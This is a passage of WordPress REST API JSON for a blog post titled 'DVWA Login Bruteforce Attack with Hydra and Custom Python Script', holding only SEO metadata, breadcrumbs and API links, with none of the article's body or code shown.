practice and understand these techniques"},"aioseo_meta_data":{"post_id":"6507","title":null,"description":null,"keywords":null,"keyphrases":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"limit_modified_date":false,"created":"2026-10-08 16:30:42","updated":"2026-10-08 16:30:42","focus_keyword":null,"additional_keywords":null,"truseo_locale":null,"primary_term":null,"ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.examcollection.com\/blog\/\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.examcollection.com\/blog\/category\/technology\/\" title=\"Technology\">Technology<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.examcollection.com\/blog\/category\/technology\/all-technology\/\" title=\"All Technology\">All Technology<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tDVWA Login Bruteforce Attack with Hydra and Custom Python Script\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/www.examcollection.com\/blog\/"},{"label":"Technology","link":"https:\/\/www.examcollection.com\/blog\/category\/technology\/"},{"label":"All Technology","link":"https:\/\/www.examcollection.com\/blog\/category\/technology\/all-technology\/"},{"label":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script","link":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/"}],"_links":{"self":[{"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/posts\/6507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/comments?post=6507"}],"version-history":[{"count":2,"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/posts\/6507\/revisions"}],"predecessor-version":[{"id":9167,"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/posts\/6507\/revisions\/9167"}],"wp:attachment":[{"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/media?parent=6507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/categories?post=6507"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.examcollection.com\/blog\/wp-json\/wp\/v2\/tags?post=6507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}